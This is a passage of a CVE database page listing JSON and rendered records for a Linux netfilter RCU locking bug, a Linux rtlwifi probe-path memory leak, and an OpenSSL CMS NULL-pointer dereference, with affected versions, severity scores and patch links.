              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "215df6490e208bfdd5b3012f5075e7f8736f3e7a",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            },
            {
              "lessThan": "dc21c6cc3d6986d938efbf95de62473982c98dec",
              "status": "affected",
              "version": "9872bec773c2e8503fec480c1e8a0c732517e257",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nfnetlink_queue.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.25"
            },
            {
              "lessThan": "2.6.25",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_queue: acquire rcu_read_lock() in instance_destroy_rcu()\n\nsyzbot reported that nf_reinject() could be called without rcu_read_lock() :\n\nWARNING: suspicious RCU usage\n6.9.0-rc7-syzkaller-02060-g5c1672705a1a #0 Not tainted\n\nnet/netfilter/nfnetlink_queue.c:263 suspicious rcu_dereference_check() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n2 locks held by syz-executor.4/13427:\n  #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_lock_acquire include/linux/rcupdate.h:329 [inline]\n  #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_do_batch kernel/rcu/tree.c:2190 [inline]\n  #0: ffffffff8e334f60 (rcu_callback){....}-{0:0}, at: rcu_core+0xa86/0x1830 kernel/rcu/tree.c:2471\n  #1: ffff88801ca92958 (\u0026inst-\u003elock){+.-.}-{2:2}, at: spin_lock_bh include/linux/spinlock.h:356 [inline]\n  #1: ffff88801ca92958 (\u0026inst-\u003elock){+.-.}-{2:2}, at: nfqnl_flush net/netfilter/nfnetlink_queue.c:405 [inline]\n  #1: ffff88801ca92958 (\u0026inst-\u003elock){+.-.}-{2:2}, at: instance_destroy_rcu+0x30/0x220 net/netfilter/nfnetlink_queue.c:172\n\nstack backtrace:\nCPU: 0 PID: 13427 Comm: syz-executor.4 Not tainted 6.9.0-rc7-syzkaller-02060-g5c1672705a1a #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nCall Trace:\n \u003cIRQ\u003e\n  __dump_stack lib/dump_stack.c:88 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n  lockdep_rcu_suspicious+0x221/0x340 kernel/locking/lockdep.c:6712\n  nf_reinject net/netfilter/nfnetlink_queue.c:323 [inline]\n  nfqnl_reinject+0x6ec/0x1120 net/netfilter/nfnetlink_queue.c:397\n  nfqnl_flush net/netfilter/nfnetlink_queue.c:410 [inline]\n  instance_destroy_rcu+0x1ae/0x220 net/netfilter/nfnetlink_queue.c:172\n  rcu_do_batch kernel/rcu/tree.c:2196 [inline]\n  rcu_core+0xafd/0x1830 kernel/rcu/tree.c:2471\n  handle_softirqs+0x2d6/0x990 kernel/softirq.c:554\n  __do_softirq kernel/softirq.c:588 [inline]\n  invoke_softirq kernel/softirq.c:428 [inline]\n  __irq_exit_rcu+0xf4/0x1c0 kernel/softirq.c:637\n  irq_exit_rcu+0x9/0x30 kernel/softirq.c:649\n  instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1043 [inline]\n  sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1043\n \u003c/IRQ\u003e\n \u003cTASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:06.591Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8658bd777cbfcb0c13df23d0ea120e70517761b9"
        },
        {
          "url": "https://git.kernel.org/stable/c/3989b817857f4890fab9379221a9d3f52bf5c256"
        },
        {
          "url": "https://git.kernel.org/stable/c/e01065b339e323b3dfa1be217fd89e9b3208b0ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/25ea5377e3d2921a0f96ae2551f5ab1b36825dd4"
        },
        {
          "url": "https://git.kernel.org/stable/c/68f40354a3851df46c27be96b84f11ae193e36c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/8f365564af898819a523f1a8cf5c6ce053e9f718"
        },
        {
          "url": "https://git.kernel.org/stable/c/215df6490e208bfdd5b3012f5075e7f8736f3e7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc21c6cc3d6986d938efbf95de62473982c98dec"
        }
      ],
      "title": "netfilter: nfnetlink_queue: acquire rcu_read_lock() in instance_destroy_rcu()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36286",
    "datePublished": "2024-06-21T10:18:08.364Z",
    "dateReserved": "2024-06-21T10:13:16.315Z",
    "dateUpdated": "2026-05-12T11:53:47.639Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58063 (GCVE-0-2024-58063)

Vulnerability from cvelistv5 – Published: 2025-03-06 15:54 – Updated: 2026-05-12 12:02

Title

wifi: rtlwifi: fix memory leaks and invalid access at probe error path

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: fix memory leaks and invalid access at probe error path Deinitialize at reverse order when probe fails. When init_sw_vars fails, rtl_deinit_core should not be called, specially now that it destroys the rtl_wq workqueue. And call rtl_pci_deinit and deinit_sw_vars, otherwise, memory will be leaked. Remove pci_set_drvdata call as it will already be cleaned up by the core driver code and could lead to memory leaks too. cf. commit 8d450935ae7f ("wireless: rtlwifi: remove unnecessary pci_set_drvdata()") and commit 3d86b93064c7 ("rtlwifi: Fix PCI probe error path orphaned memory").

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-401 - Missing Release of Memory after Effective Lifetime

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/85b67b4c4a0f8a6fb…
https://git.kernel.org/stable/c/455e0f40b5352186a…
https://git.kernel.org/stable/c/b96371339fd9cac90…
https://git.kernel.org/stable/c/ee0b0d7baa8a6d42c…
https://git.kernel.org/stable/c/624cea89a0865a2bc…
https://git.kernel.org/stable/c/32acebca0a51f5e37…
https://git.kernel.org/stable/c/6b76bab5c25746330…
https://git.kernel.org/stable/c/e7ceefbfd8d447abc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < 85b67b4c4a0f8a6fb20cf4ef7684ff2b0cf559df (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < 455e0f40b5352186a9095f2135d5c89255e7c39a (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < b96371339fd9cac90f5ee4ac17ee5c4cbbdfa6f7 (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < ee0b0d7baa8a6d42c7988f6e50c8f164cdf3fa47 (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < 624cea89a0865a2bc3e00182a6b0f954a94328b4 (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < 32acebca0a51f5e372536bfdc0d7d332ab749013 (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < 6b76bab5c257463302c9e97f5d84d524457468eb (git) Affected: 0c8173385e549f95cd80c3fff5aab87b4f881d8d , < e7ceefbfd8d447abc8aca8ab993a942803522c06 (git)
Linux	Linux	Affected: 2.6.38 Unaffected: 0 , < 2.6.38 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-58063",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:28:06.599973Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-401",
                "description": "CWE-401 Missing Release of Memory after Effective Lifetime",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:36:37.487Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:58.900Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:03.124Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtlwifi/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "85b67b4c4a0f8a6fb20cf4ef7684ff2b0cf559df",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "455e0f40b5352186a9095f2135d5c89255e7c39a",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "b96371339fd9cac90f5ee4ac17ee5c4cbbdfa6f7",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "ee0b0d7baa8a6d42c7988f6e50c8f164cdf3fa47",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "624cea89a0865a2bc3e00182a6b0f954a94328b4",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "32acebca0a51f5e372536bfdc0d7d332ab749013",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "6b76bab5c257463302c9e97f5d84d524457468eb",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            },
            {
              "lessThan": "e7ceefbfd8d447abc8aca8ab993a942803522c06",
              "status": "affected",
              "version": "0c8173385e549f95cd80c3fff5aab87b4f881d8d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/realtek/rtlwifi/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.38"
            },
            {
              "lessThan": "2.6.38",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: fix memory leaks and invalid access at probe error path\n\nDeinitialize at reverse order when probe fails.\n\nWhen init_sw_vars fails, rtl_deinit_core should not be called, specially\nnow that it destroys the rtl_wq workqueue.\n\nAnd call rtl_pci_deinit and deinit_sw_vars, otherwise, memory will be\nleaked.\n\nRemove pci_set_drvdata call as it will already be cleaned up by the core\ndriver code and could lead to memory leaks too. cf. commit 8d450935ae7f\n(\"wireless: rtlwifi: remove unnecessary pci_set_drvdata()\") and\ncommit 3d86b93064c7 (\"rtlwifi: Fix PCI probe error path orphaned memory\")."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:34.469Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/85b67b4c4a0f8a6fb20cf4ef7684ff2b0cf559df"
        },
        {
          "url": "https://git.kernel.org/stable/c/455e0f40b5352186a9095f2135d5c89255e7c39a"
        },
        {
          "url": "https://git.kernel.org/stable/c/b96371339fd9cac90f5ee4ac17ee5c4cbbdfa6f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/ee0b0d7baa8a6d42c7988f6e50c8f164cdf3fa47"
        },
        {
          "url": "https://git.kernel.org/stable/c/624cea89a0865a2bc3e00182a6b0f954a94328b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/32acebca0a51f5e372536bfdc0d7d332ab749013"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b76bab5c257463302c9e97f5d84d524457468eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/e7ceefbfd8d447abc8aca8ab993a942803522c06"
        }
      ],
      "title": "wifi: rtlwifi: fix memory leaks and invalid access at probe error path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58063",
    "datePublished": "2025-03-06T15:54:05.258Z",
    "dateReserved": "2025-03-06T15:52:09.181Z",
    "dateUpdated": "2026-05-12T12:02:03.124Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-28389 (GCVE-0-2026-28389)

Vulnerability from cvelistv5 – Published: 2026-04-07 22:00 – Updated: 2026-05-12 12:09

Title

Possible NULL Dereference When Processing CMS KeyAgreeRecipientInfo

Summary

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Severity ?

No CVSS data available.

CWE

CWE-476 - NULL Pointer Dereference

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260407.txt	vendor-advisory
https://github.com/openssl/openssl/commit/f80f83b…	patch
https://github.com/openssl/openssl/commit/16cea41…	patch
https://github.com/openssl/openssl/commit/785cbf7…	patch
https://github.com/openssl/openssl/commit/c672563…	patch
https://github.com/openssl/openssl/commit/7b5274e…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.2 (semver) Affected: 3.5.0 , < 3.5.6 (semver) Affected: 3.4.0 , < 3.4.5 (semver) Affected: 3.3.0 , < 3.3.7 (semver) Affected: 3.0.0 , < 3.0.20 (semver) Affected: 1.1.1 , < 1.1.1zg (custom) Affected: 1.0.2 , < 1.0.2zp (custom)

Date Public ?

2026-04-07 14:00

Credits

Nathan Sportsman (Praetorian) Daniel Rhea Jaeho Nam (Seoul National University) Muhammad Daffa Zhanpeng Liu (Tencent Xuanwu Lab) Guannan Wang (Tencent Xuanwu Lab) Guancheng Li (Tencent Xuanwu Lab) Joshua Rogers (Aisle Research) Neil Horman

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-28389",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-10T20:20:14.953384Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-10T20:20:45.506Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:09:01.089Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.2",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.6",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.5",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.7",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.20",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zg",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zp",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Nathan Sportsman (Praetorian)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Daniel Rhea"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Jaeho Nam (Seoul National University)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Muhammad Daffa"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Zhanpeng Liu (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Guannan Wang (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Guancheng Li (Tencent Xuanwu Lab)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Joshua Rogers (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Neil Horman"
        }
      ],
      "datePublic": "2026-04-07T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: During processing of a crafted CMS EnvelopedData message\u003cbr\u003ewith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\u003cbr\u003e\u003cbr\u003eImpact summary: Applications that process attacker-controlled CMS data may\u003cbr\u003ecrash before authentication or cryptographic operations occur resulting in\u003cbr\u003eDenial of Service.\u003cbr\u003e\u003cbr\u003eWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\u003cbr\u003eprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\u003cbr\u003eis examined without checking for its presence. This results in a NULL\u003cbr\u003epointer dereference if the field is missing.\u003cbr\u003e\u003cbr\u003eApplications and services that call CMS_decrypt() on untrusted input\u003cbr\u003e(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\u003cbr\u003eissue, as the affected code is outside the OpenSSL FIPS module boundary."
            }
          ],
          "value": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-15T07:28:13.700Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260407.txt"
        },
        {
          "name": "3.6.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686"
        },
        {
          "name": "3.5.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5"
        },
        {
          "name": "3.4.5 git commit",
          "tags": [
            "patch"
          ],
